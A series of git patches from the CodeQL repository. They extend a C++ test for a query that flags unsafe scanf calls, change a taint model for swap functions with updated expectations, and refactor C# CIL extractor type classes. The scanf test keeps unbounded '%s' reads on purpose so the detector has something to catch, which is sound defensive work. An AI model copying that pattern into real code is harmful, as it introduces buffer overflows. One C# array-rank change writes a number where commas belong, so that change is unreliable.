a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp @@ -1,5 +1,10 @@ ///// Library routines ///// +typedef unsigned long size_t; +void *malloc(size_t size); + +size_t strlen(const char *s); + int scanf(const char *format, ...); int sscanf(const char *str, const char *format, ...); int fscanf(const char *str, const char *format, ...); @@ -22,5 +27,14 @@ int main(int argc, char **argv) char file[10]; fscanf(file, "%s", buf2); + // GOOD, with 'sscanf' the input can be checked first and enough room allocated [FALSE POSITIVE] + if (argc >= 1) + { + char *src = argv[0]; + char *dest = (char *)malloc(strlen(src) + 1); + + sscanf(src, "%s", dest); + } + return 0; } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected index fb6b0ba0752..2739ed872e2 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.expected @@ -1,2 +1,3 @@ -| MemoryUnsafeFunctionScan.cpp:14:5:14:9 | call to scanf | Dangerous use of one of the scanf functions | -| MemoryUnsafeFunctionScan.cpp:23:5:23:10 | call to fscanf | Dangerous use of one of the scanf functions | +| MemoryUnsafeFunctionScan.cpp:19:5:19:9 | call to scanf | Dangerous use of one of the scanf functions | +| MemoryUnsafeFunctionScan.cpp:28:5:28:10 | call to fscanf | Dangerous use of one of the scanf functions | +| MemoryUnsafeFunctionScan.cpp:36:3:36:8 | call to sscanf | Dangerous use of one of the scanf functions | From 3bef0e5c00dcc4f93911903d170692a8a65e90ab Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 8 Dec 2020 20:04:55 +0000 Subject: [PATCH 0216/1241] C++: Implement a general model. --- .../code/cpp/models/implementations/Swap.qll | 14 +++++------ .../dataflow/taint-tests/localTaint.expected | 24 +++++++++++++++++++ 2 files changed, 30 insertions(+), 8 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll index d876f6b5055..c885f7118f0 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll @@ -25,15 +25,13 @@ private class Swap extends DataFlowFunction { * obj1.swap(obj2) * ``` */ -private class MemberSwap extends TaintFunction { +private class MemberSwap extends TaintFunction, MemberFunction { MemberSwap() { - this.hasQualifiedName("std", "basic_string", "swap") or - this.hasQualifiedName("std", "basic_stringstream", "swap") or - this.hasQualifiedName("std", ["array", "vector", "deque", "list", "forward_list"], "swap") or - this.hasQualifiedName("std", ["set", "unordered_set"], "swap") or - this.hasQualifiedName("std", "pair", "swap") or - this.hasQualifiedName("std", ["map", "unordered_map"], "swap") or - this.hasQualifiedName("std", ["map", "unordered_map"], "swap") + this.hasName("swap") and + this.getNumberOfParameters() = 1 and + this.getParameter(0).getType() instanceof ReferenceType and + this.getParameter(0).getType().(ReferenceType).getBaseType().getUnspecifiedType() = + getDeclaringType() } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected index 4407266a6e7..6edd97d0069 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected @@ -5004,7 +5004,9 @@ | swap1.cpp:24:9:24:13 | this | swap1.cpp:24:31:24:34 | this | | | swap1.cpp:24:23:24:26 | that | swap1.cpp:24:23:24:26 | that | | | swap1.cpp:24:23:24:26 | that | swap1.cpp:24:36:24:39 | that | | +| swap1.cpp:24:31:24:34 | this | swap1.cpp:24:36:24:39 | ref arg that | TAINT | | swap1.cpp:24:36:24:39 | ref arg that | swap1.cpp:24:23:24:26 | that | | +| swap1.cpp:24:36:24:39 | that | swap1.cpp:24:31:24:34 | ref arg this | TAINT | | swap1.cpp:25:9:25:13 | this | swap1.cpp:25:36:25:52 | constructor init of field data1 [pre-this] | | | swap1.cpp:25:28:25:31 | that | swap1.cpp:25:42:25:45 | that | | | swap1.cpp:25:47:25:51 | data1 | swap1.cpp:25:36:25:52 | constructor init of field data1 | TAINT | @@ -5014,28 +5016,36 @@ | swap1.cpp:29:23:29:27 | call to Class | swap1.cpp:30:18:30:20 | tmp | | | swap1.cpp:29:24:29:27 | that | swap1.cpp:29:23:29:27 | call to Class | | | swap1.cpp:30:13:30:16 | ref arg this | swap1.cpp:31:21:31:24 | this | | +| swap1.cpp:30:13:30:16 | this | swap1.cpp:30:18:30:20 | ref arg tmp | TAINT | | swap1.cpp:30:13:30:16 | this | swap1.cpp:31:21:31:24 | this | | +| swap1.cpp:30:18:30:20 | tmp | swap1.cpp:30:13:30:16 | ref arg this | TAINT | | swap1.cpp:31:21:31:24 | this | swap1.cpp:31:20:31:24 | * ... | TAINT | | swap1.cpp:34:16:34:24 | this | swap1.cpp:36:13:36:16 | this | | | swap1.cpp:34:34:34:37 | that | swap1.cpp:34:34:34:37 | that | | | swap1.cpp:34:34:34:37 | that | swap1.cpp:36:18:36:21 | that | | | swap1.cpp:36:13:36:16 | ref arg this | swap1.cpp:37:21:37:24 | this | | +| swap1.cpp:36:13:36:16 | this | swap1.cpp:36:18:36:21 | ref arg that | TAINT | | swap1.cpp:36:13:36:16 | this | swap1.cpp:37:21:37:24 | this | | | swap1.cpp:36:18:36:21 | ref arg that | swap1.cpp:34:34:34:37 | that | | +| swap1.cpp:36:18:36:21 | that | swap1.cpp:36:13:36:16 | ref arg this | TAINT | | swap1.cpp:37:21:37:24 | this | swap1.cpp:37:20:37:24 | * ... | TAINT | | swap1.cpp:40:16:40:26 | this | swap1.cpp:43:13:43:16 | this | | | swap1.cpp:40:41:40:44 | that | swap1.cpp:42:24:42:27 | that | | | swap1.cpp:42:23:42:27 | call to Class | swap1.cpp:43:18:43:20 | tmp | | | swap1.cpp:42:24:42:27 | that | swap1.cpp:42:23:42:27 | call to Class | | | swap1.cpp:43:13:43:16 | ref arg this | swap1.cpp:44:21:44:24 | this | | +| swap1.cpp:43:13:43:16 | this | swap1.cpp:43:18:43:20 | ref arg tmp | TAINT | | swap1.cpp:43:13:43:16 | this | swap1.cpp:44:21:44:24 | this | | +| swap1.cpp:43:18:43:20 | tmp | swap1.cpp:43:13:43:16 | ref arg this | TAINT | | swap1.cpp:44:21:44:24 | this | swap1.cpp:44:20:44:24 | * ... | TAINT | | swap1.cpp:47:16:47:26 | this | swap1.cpp:49:13:49:16 | this | | | swap1.cpp:47:36:47:39 | that | swap1.cpp:47:36:47:39 | that | | | swap1.cpp:47:36:47:39 | that | swap1.cpp:49:18:49:21 | that | | | swap1.cpp:49:13:49:16 | ref arg this | swap1.cpp:50:21:50:24 | this | | +| swap1.cpp:49:13:49:16 | this | swap1.cpp:49:18:49:21 | ref arg that | TAINT | | swap1.cpp:49:13:49:16 | this | swap1.cpp:50:21:50:24 | this | | | swap1.cpp:49:18:49:21 | ref arg that | swap1.cpp:47:36:47:39 | that | | +| swap1.cpp:49:18:49:21 | that | swap1.cpp:49:13:49:16 | ref arg this | TAINT | | swap1.cpp:50:21:50:24 | this | swap1.cpp:50:20:50:24 | * ... | TAINT | | swap1.cpp:53:14:53:17 | this | swap1.cpp:56:18:56:22 | this | | | swap1.cpp:53:26:53:29 | that | swap1.cpp:53:26:53:29 | that | | @@ -5049,7 +5059,9 @@ | swap1.cpp:61:32:61:32 | y | swap1.cpp:61:32:61:32 | y | | | swap1.cpp:61:32:61:32 | y | swap1.cpp:63:16:63:16 | y | | | swap1.cpp:63:9:63:9 | ref arg x | swap1.cpp:61:22:61:22 | x | | +| swap1.cpp:63:9:63:9 | x | swap1.cpp:63:16:63:16 | ref arg y | TAINT | | swap1.cpp:63:16:63:16 | ref arg y | swap1.cpp:61:32:61:32 | y | | +| swap1.cpp:63:16:63:16 | y | swap1.cpp:63:9:63:9 | ref arg x | TAINT | | swap1.cpp:69:23:69:23 | x | swap1.cpp:71:5:71:5 | x | | | swap1.cpp:69:23:69:23 | x | swap1.cpp:73:10:73:10 | x | | | swap1.cpp:69:23:69:23 | x | swap1.cpp:76:9:76:9 | x | | @@ -5158,7 +5170,9 @@ | swap2.cpp:24:9:24:13 | this | swap2.cpp:24:31:24:34 | this | | | swap2.cpp:24:23:24:26 | that | swap2.cpp:24:23:24:26 | that | | | swap2.cpp:24:23:24:26 | that | swap2.cpp:24:36:24:39 | that | | +| swap2.cpp:24:31:24:34 | this | swap2.cpp:24:36:24:39 | ref arg that | TAINT | | swap2.cpp:24:36:24:39 | ref arg that | swap2.cpp:24:23:24:26 | that | | +| swap2.cpp:24:36:24:39 | that | swap2.cpp:24:31:24:34 | ref arg this | TAINT | | swap2.cpp:25:9:25:13 | this | swap2.cpp:25:36:25:52 | constructor init of field data1 [pre-this] | | | swap2.cpp:25:28:25:31 | that | swap2.cpp:25:42:25:45 | that | | | swap2.cpp:25:28:25:31 | that | swap2.cpp:25:61:25:64 | that | | @@ -5173,28 +5187,36 @@ | swap2.cpp:29:23:29:27 | call to Class | swap2.cpp:30:18:30:20 | tmp | | | swap2.cpp:29:24:29:27 | that | swap2.cpp:29:23:29:27 | call to Class | | | swap2.cpp:30:13:30:16 | ref arg this | swap2.cpp:31:21:31:24 | this | | +| swap2.cpp:30:13:30:16 | this | swap2.cpp:30:18:30:20 | ref arg tmp | TAINT | | swap2.cpp:30:13:30:16 | this | swap2.cpp:31:21:31:24 | this | | +| swap2.cpp:30:18:30:20 | tmp | swap2.cpp:30:13:30:16 | ref arg this | TAINT | | swap2.cpp:31:21:31:24 | this | swap2.cpp:31:20:31:24 | * ... | TAINT | | swap2.cpp:34:16:34:24 | this | swap2.cpp:36:13:36:16 | this | | | swap2.cpp:34:34:34:37 | that | swap2.cpp:34:34:34:37 | that | | | swap2.cpp:34:34:34:37 | that | swap2.cpp:36:18:36:21 | that | | | swap2.cpp:36:13:36:16 | ref arg this | swap2.cpp:37:21:37:24 | this | | +| swap2.cpp:36:13:36:16 | this | swap2.cpp:36:18:36:21 | ref arg that | TAINT | | swap2.cpp:36:13:36:16 | this | swap2.cpp:37:21:37:24 | this | | | swap2.cpp:36:18:36:21 | ref arg that | swap2.cpp:34:34:34:37 | that | | +| swap2.cpp:36:18:36:21 | that | swap2.cpp:36:13:36:16 | ref arg this | TAINT | | swap2.cpp:37:21:37:24 | this | swap2.cpp:37:20:37:24 | * ... | TAINT | | swap2.cpp:40:16:40:26 | this | swap2.cpp:43:13:43:16 | this | | | swap2.cpp:40:41:40:44 | that | swap2.cpp:42:24:42:27 | that | | | swap2.cpp:42:23:42:27 | call to Class | swap2.cpp:43:18:43:20 | tmp | | | swap2.cpp:42:24:42:27 | that | swap2.cpp:42:23:42:27 | call to Class | | | swap2.cpp:43:13:43:16 | ref arg this | swap2.cpp:44:21:44:24 | this | | +| swap2.cpp:43:13:43:16 | this | swap2.cpp:43:18:43:20 | ref arg tmp | TAINT | | swap2.cpp:43:13:43:16 | this | swap2.cpp:44:21:44:24 | this | | +| swap2.cpp:43:18:43:20 | tmp | swap2.cpp:43:13:43:16 | ref arg this | TAINT | | swap2.cpp:44:21:44:24 | this | swap2.cpp:44:20:44:24 | * ... | TAINT | | swap2.cpp:47:16:47:26 | this | swap2.cpp:49:13:49:16 | this | | | swap2.cpp:47:36:47:39 | that | swap2.cpp:47:36:47:39 | that | | | swap2.cpp:47:36:47:39 | that | swap2.cpp:49:18:49:21 | that | | | swap2.cpp:49:13:49:16 | ref arg this | swap2.cpp:50:21:50:24 | this | | +| swap2.cpp:49:13:49:16 | this | swap2.cpp:49:18:49:21 | ref arg that | TAINT | | swap2.cpp:49:13:49:16 | this | swap2.cpp:50:21:50:24 | this | | | swap2.cpp:49:18:49:21 | ref arg that | swap2.cpp:47:36:47:39 | that | | +| swap2.cpp:49:18:49:21 | that | swap2.cpp:49:13:49:16 | ref arg this | TAINT | | swap2.cpp:50:21:50:24 | this | swap2.cpp:50:20:50:24 | * ... | TAINT | | swap2.cpp:53:14:53:17 | this | swap2.cpp:56:18:56:22 | this | | | swap2.cpp:53:26:53:29 | that | swap2.cpp:53:26:53:29 | that | | @@ -5216,7 +5238,9 @@ | swap2.cpp:61:32:61:32 | y | swap2.cpp:61:32:61:32 | y | | | swap2.cpp:61:32:61:32 | y | swap2.cpp:63:16:63:16 | y | | | swap2.cpp:63:9:63:9 | ref arg x | swap2.cpp:61:22:61:22 | x | | +| swap2.cpp:63:9:63:9 | x | swap2.cpp:63:16:63:16 | ref arg y | TAINT | | swap2.cpp:63:16:63:16 | ref arg y | swap2.cpp:61:32:61:32 | y | | +| swap2.cpp:63:16:63:16 | y | swap2.cpp:63:9:63:9 | ref arg x | TAINT | | swap2.cpp:69:23:69:23 | x | swap2.cpp:71:5:71:5 | x | | | swap2.cpp:69:23:69:23 | x | swap2.cpp:73:10:73:10 | x | | | swap2.cpp:69:23:69:23 | x | swap2.cpp:76:9:76:9 | x | | From 151379edd80a1b652e046b6927f811847744ea1a Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 3 Dec 2020 14:47:35 +0100 Subject: [PATCH 0217/1241] C#: Cleanup CIL extraction 'Type' classes --- .../Entities/ArrayType.cs | 17 +-- .../Entities/Attribute.cs | 2 +- .../Entities/ConstructedType.cs | 19 ++- .../Entities/ErrorType.cs | 6 +- .../Entities/MethodTypeParameter.cs | 2 - .../Entities/PointerType.cs | 12 +- .../Entities/PrimitiveType.cs | 14 +- .../Entities/SignatureDecoder.cs | 6 +- .../Semmle.Extraction.CIL/Entities/Type.cs | 133 ++++++------------ .../Entities/TypeDefinitionType.cs | 27 ++-- .../Entities/TypeParameter.cs | 4 +- .../Entities/TypeReferenceType.cs | 22 ++- .../Entities/TypeTypeParameter.cs | 2 - 13 files changed, 101 insertions(+), 165 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs index fef6d313a1a..07706b397b0 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ArrayType.cs @@ -27,27 +27,26 @@ namespace Semmle.Extraction.CIL.Entities return obj is ArrayType array && elementType.Equals(array.elementType) && rank == array.rank; } - public override int GetHashCode() - { - return elementType.GetHashCode() * 5 + rank; - } + public override int GetHashCode() => HashCode.Combine(elementType, rank); public override void WriteId(TextWriter trapFile, bool inContext) { elementType.GetId(trapFile, inContext); trapFile.Write('['); - for (var i = 1; i < rank; ++i) - trapFile.Write(','); + if (rank > 1) + { + trapFile.Write(new string(',', rank - 1)); + } trapFile.Write(']'); } public override string Name => elementType.Name + "[]"; - public override Namespace Namespace => Cx.SystemNamespace; + public override Namespace ContainingNamespace => Cx.SystemNamespace; public override Type? ContainingType => null; - public override int ThisTypeParameters => elementType.ThisTypeParameters; + public override int ThisTypeParameterCount => elementType.ThisTypeParameterCount; public override CilTypeKind Kind => CilTypeKind.Array; @@ -71,7 +70,5 @@ namespace Semmle.Extraction.CIL.Entities public override IEnumerable GenericArguments => elementType.GenericArguments; public override IEnumerable TypeParameters => elementType.TypeParameters; - - public override IEnumerable MethodParameters => throw new NotImplementedException(); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs index 045a729d0a6..7e3b21be09d 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs @@ -43,7 +43,7 @@ namespace Semmle.Extraction.CIL.Entities { decoded = attrib.DecodeValue(new CustomAttributeDecoder(Cx)); } - catch (NotImplementedException) + catch (Exception exc) { // Attribute decoding is only partial at this stage. yield break; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs index 165883a8663..6be1b9f4aca 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs @@ -17,6 +17,8 @@ namespace Semmle.Extraction.CIL.Entities // Either null or notEmpty private readonly Type[]? thisTypeArguments; + private readonly Type? containingType; + public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); public override IEnumerable ThisGenericArguments => thisTypeArguments.EnumerateNull(); @@ -29,7 +31,7 @@ namespace Semmle.Extraction.CIL.Entities yield return c; var i = 0; - foreach (var type in ThisGenericArguments) + foreach (var type in ThisTypeArguments) { yield return type; yield return Tuples.cil_type_argument(this, i++, type); @@ -42,11 +44,11 @@ namespace Semmle.Extraction.CIL.Entities public ConstructedType(Context cx, Type unboundType, IEnumerable typeArguments) : base(cx) { var suppliedArgs = typeArguments.Count(); - if (suppliedArgs != unboundType.TotalTypeParametersCheck) + if (suppliedArgs != unboundType.TotalTypeParametersCount) throw new InternalError("Unexpected number of type arguments in ConstructedType"); unboundGenericType = unboundType; - var thisParams = unboundType.ThisTypeParameters; + var thisParams = unboundType.ThisTypeParameterCount; if (typeArguments.Count() == thisParams) { @@ -88,14 +90,13 @@ namespace Semmle.Extraction.CIL.Entities return h; } - private readonly Type? containingType; public override Type? ContainingType => containingType; public override string Name => unboundGenericType.Name; - public override Namespace Namespace => unboundGenericType.Namespace!; + public override Namespace ContainingNamespace => unboundGenericType.ContainingNamespace!; - public override int ThisTypeParameters => thisTypeArguments == null ? 0 : thisTypeArguments.Length; + public override int ThisTypeParameterCount => thisTypeArguments == null ? 0 : thisTypeArguments.Length; public override CilTypeKind Kind => unboundGenericType.Kind; @@ -115,9 +116,9 @@ namespace Semmle.Extraction.CIL.Entities { WriteAssemblyPrefix(trapFile); - if (!Namespace.IsGlobalNamespace) + if (!ContainingNamespace.IsGlobalNamespace) { - Namespace.WriteId(trapFile); + ContainingNamespace.WriteId(trapFile); trapFile.Write('.'); } } @@ -139,7 +140,5 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteAssemblyPrefix(TextWriter trapFile) => unboundGenericType.WriteAssemblyPrefix(trapFile); public override IEnumerable TypeParameters => GenericArguments; - - public override IEnumerable MethodParameters => throw new NotImplementedException(); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ErrorType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ErrorType.cs index 67a2a495322..e99fd8b4bc3 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ErrorType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ErrorType.cs @@ -16,18 +16,16 @@ namespace Semmle.Extraction.CIL.Entities public override string Name => "!error"; - public override Namespace Namespace => Cx.GlobalNamespace; + public override Namespace ContainingNamespace => Cx.GlobalNamespace; public override Type? ContainingType => null; - public override int ThisTypeParameters => 0; + public override int ThisTypeParameterCount => 0; public override void WriteAssemblyPrefix(TextWriter trapFile) => throw new NotImplementedException(); public override IEnumerable TypeParameters => throw new NotImplementedException(); - public override IEnumerable MethodParameters => throw new NotImplementedException(); - public override Type Construct(IEnumerable typeArguments) => throw new NotImplementedException(); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodTypeParameter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodTypeParameter.cs index 38790ce3827..db5e56acb17 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodTypeParameter.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodTypeParameter.cs @@ -41,8 +41,6 @@ namespace Semmle.Extraction.CIL.Entities public override IEnumerable TypeParameters => throw new NotImplementedException(); - public override IEnumerable MethodParameters => throw new NotImplementedException(); - public override IEnumerable Contents { get diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/PointerType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/PointerType.cs index 2f12de982ef..8b1209925b6 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/PointerType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/PointerType.cs @@ -18,11 +18,7 @@ namespace Semmle.Extraction.CIL.Entities return obj is PointerType pt && pointee.Equals(pt.pointee); } - - public override int GetHashCode() - { - return pointee.GetHashCode() * 29; - } + public override int GetHashCode() => HashCode.Combine(pointee, nameof(PointerType)); public override void WriteId(TextWriter trapFile, bool inContext) { @@ -32,13 +28,13 @@ namespace Semmle.Extraction.CIL.Entities public override string Name => pointee.Name + "*"; - public override Namespace? Namespace => pointee.Namespace; + public override Namespace? ContainingNamespace => pointee.ContainingNamespace; public override Type? ContainingType => pointee.ContainingType; public override TypeContainer Parent => pointee.Parent; - public override int ThisTypeParameters => 0; + public override int ThisTypeParameterCount => 0; public override CilTypeKind Kind => CilTypeKind.Pointer; @@ -46,8 +42,6 @@ namespace Semmle.Extraction.CIL.Entities public override IEnumerable TypeParameters => throw new NotImplementedException(); - public override IEnumerable MethodParameters => throw new NotImplementedException(); - public override Type Construct(IEnumerable typeArguments) => throw new NotImplementedException(); public override IEnumerable Contents diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/PrimitiveType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/PrimitiveType.cs index 5ec0911c5ef..661ae0f535b 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/PrimitiveType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/PrimitiveType.cs @@ -18,24 +18,20 @@ namespace Semmle.Extraction.CIL.Entities return obj is PrimitiveType pt && typeCode == pt.typeCode; } - public override int GetHashCode() - { - return 1337 * (int)typeCode; - } + public override int GetHashCode() => typeCode.GetHashCode(); public override void WriteId(TextWriter trapFile, bool inContext) { - trapFile.Write("builtin:"); - trapFile.Write(Name); + Type.WritePrimitiveTypeId(trapFile, Name); } public override string Name => typeCode.Id(); - public override Namespace Namespace => Cx.SystemNamespace; + public override Namespace ContainingNamespace => Cx.SystemNamespace; public override Type? ContainingType => null; - public override int ThisTypeParameters => 0; + public override int ThisTypeParameterCount => 0; public override CilTypeKind Kind => CilTypeKind.ValueOrRefType; @@ -43,8 +39,6 @@ namespace Semmle.Extraction.CIL.Entities public override IEnumerable TypeParameters => throw new NotImplementedException(); - public override IEnumerable MethodParameters => throw new NotImplementedException(); - public override Type Construct(IEnumerable typeArguments) => throw new NotImplementedException(); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs index fcb860b6d13..c784bf0f413 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs @@ -21,8 +21,10 @@ namespace Semmle.Extraction.CIL.Entities { elementType.WriteId(trapFile, gc); trapFile.Write('['); - for (var i = 1; i < shape.Rank; ++i) - trapFile.Write(','); + if (shape.Rank > 1) + { + trapFile.Write(string.Join(",", shape.Rank - 1)); + } trapFile.Write(']'); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index 5434e55aa69..0e32959c29d 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -1,8 +1,8 @@ using System.Reflection.Metadata; using System.Collections.Generic; -using Semmle.Util; using System.IO; using System.Diagnostics.CodeAnalysis; +using System; namespace Semmle.Extraction.CIL.Entities { @@ -12,8 +12,9 @@ namespace Semmle.Extraction.CIL.Entities public abstract class Type : TypeContainer, IMember { public override string IdSuffix => ";cil-type"; + internal const string PrimitiveTypePrefix = "builtin:"; - public sealed override void WriteId(TextWriter trapFile) => WriteId(trapFile, false); + protected Type(Context cx) : base(cx) { } /// /// Find the method in this type matching the name and signature. @@ -67,22 +68,11 @@ namespace Semmle.Extraction.CIL.Entities /// public abstract void WriteId(TextWriter trapFile, bool inContext); - public void GetId(TextWriter trapFile, bool inContext) - { - if (inContext) - WriteId(trapFile, true); - else - WriteId(trapFile); - } + public sealed override void WriteId(TextWriter trapFile) => WriteId(trapFile, false); - protected Type(Context cx) : base(cx) { } + public void GetId(TextWriter trapFile, bool inContext) => WriteId(trapFile, inContext); - public abstract CilTypeKind Kind - { - get; - } - - public virtual TypeContainer Parent => (TypeContainer?)ContainingType ?? Namespace!; + public abstract CilTypeKind Kind { get; } public override IEnumerable Contents { @@ -92,31 +82,29 @@ namespace Semmle.Extraction.CIL.Entities } } - /// - /// Whether this type is visible outside the current assembly. - /// - public virtual bool IsVisible => true; - public abstract string Name { get; } - public abstract Namespace? Namespace { get; } + public abstract Namespace? ContainingNamespace { get; } public abstract Type? ContainingType { get; } + public virtual TypeContainer Parent => (TypeContainer?)ContainingType ?? ContainingNamespace!; + public abstract Type Construct(IEnumerable typeArguments); /// /// The number of type arguments, or 0 if this isn't generic. /// The containing type may also have type arguments. /// - public abstract int ThisTypeParameters { get; } + public abstract int ThisTypeParameterCount { get; } /// /// The total number of type parameters (including parent types). /// This is used for internal consistency checking only. /// - public int TotalTypeParametersCheck => - ContainingType == null ? ThisTypeParameters : ThisTypeParameters + ContainingType.TotalTypeParametersCheck; + public int TotalTypeParametersCount => ContainingType == null + ? ThisTypeParameterCount + : ThisTypeParameterCount + ContainingType.TotalTypeParametersCount; /// /// Returns all bound/unbound generic arguments @@ -139,6 +127,7 @@ namespace Semmle.Extraction.CIL.Entities foreach (var t in ContainingType.GenericArguments) yield return t; } + foreach (var t in ThisGenericArguments) yield return t; } @@ -146,12 +135,34 @@ namespace Semmle.Extraction.CIL.Entities public virtual Type SourceDeclaration => this; - public void PrimitiveTypeId(TextWriter trapFile) + public static void WritePrimitiveTypeId(TextWriter trapFile, string name) { - trapFile.Write("builtin:"); - trapFile.Write(Name); + trapFile.Write(PrimitiveTypePrefix); + trapFile.Write(name); } + private static readonly Dictionary primitiveTypeCodeMapping = new Dictionary + { + {"Boolean", PrimitiveTypeCode.Boolean}, + {"Object", PrimitiveTypeCode.Object}, + {"Byte", PrimitiveTypeCode.Byte}, + {"SByte", PrimitiveTypeCode.SByte}, + {"Int16", PrimitiveTypeCode.Int16}, + {"UInt16", PrimitiveTypeCode.UInt16}, + {"Int32", PrimitiveTypeCode.Int32}, + {"UInt32", PrimitiveTypeCode.UInt32}, + {"Int64", PrimitiveTypeCode.Int64}, + {"UInt64", PrimitiveTypeCode.UInt64}, + {"Single", PrimitiveTypeCode.Single}, + {"Double", PrimitiveTypeCode.Double}, + {"String", PrimitiveTypeCode.String}, + {"Void", PrimitiveTypeCode.Void}, + {"IntPtr", PrimitiveTypeCode.IntPtr}, + {"UIntPtr", PrimitiveTypeCode.UIntPtr}, + {"Char", PrimitiveTypeCode.Char}, + {"TypedReference", PrimitiveTypeCode.TypedReference} + }; + /// /// Gets the primitive type corresponding to this type, if possible. /// @@ -171,73 +182,21 @@ namespace Semmle.Extraction.CIL.Entities private bool TryGetPrimitiveTypeCode(out PrimitiveTypeCode code) { - if (ContainingType == null && Namespace?.Name == Cx.SystemNamespace.Name) + if (ContainingType == null && + ContainingNamespace?.Name == Cx.SystemNamespace.Name && + primitiveTypeCodeMapping.TryGetValue(Name, out code)) { - switch (Name) - { - case "Boolean": - code = PrimitiveTypeCode.Boolean; - return true; - case "Object": - code = PrimitiveTypeCode.Object; - return true; - case "Byte": - code = PrimitiveTypeCode.Byte; - return true; - case "SByte": - code = PrimitiveTypeCode.SByte; - return true; - case "Int16": - code = PrimitiveTypeCode.Int16; - return true; - case "UInt16": - code = PrimitiveTypeCode.UInt16; - return true; - case "Int32": - code = PrimitiveTypeCode.Int32; - return true; - case "UInt32": - code = PrimitiveTypeCode.UInt32; - return true; - case "Int64": - code = PrimitiveTypeCode.Int64; - return true; - case "UInt64": - code = PrimitiveTypeCode.UInt64; - return true; - case "Single": - code = PrimitiveTypeCode.Single; - return true; - case "Double": - code = PrimitiveTypeCode.Double; - return true; - case "String": - code = PrimitiveTypeCode.String; - return true; - case "Void": - code = PrimitiveTypeCode.Void; - return true; - case "IntPtr": - code = PrimitiveTypeCode.IntPtr; - return true; - case "UIntPtr": - code = PrimitiveTypeCode.UIntPtr; - return true; - case "Char": - code = PrimitiveTypeCode.Char; - return true; - case "TypedReference": - code = PrimitiveTypeCode.TypedReference; - return true; - } + return true; } - code = default(PrimitiveTypeCode); + code = default; return false; } protected bool IsPrimitiveType => TryGetPrimitiveTypeCode(out _); + public sealed override IEnumerable MethodParameters => throw new NotImplementedException(); + public static Type DecodeType(GenericContext gc, TypeSpecificationHandle handle) => gc.Cx.MdReader.GetTypeSpecification(handle).DecodeSignature(gc.Cx.TypeSignatureDecoder, gc); } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index ef01a2349ca..12df28f09c6 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -14,8 +14,10 @@ namespace Semmle.Extraction.CIL.Entities /// public sealed class TypeDefinitionType : Type { 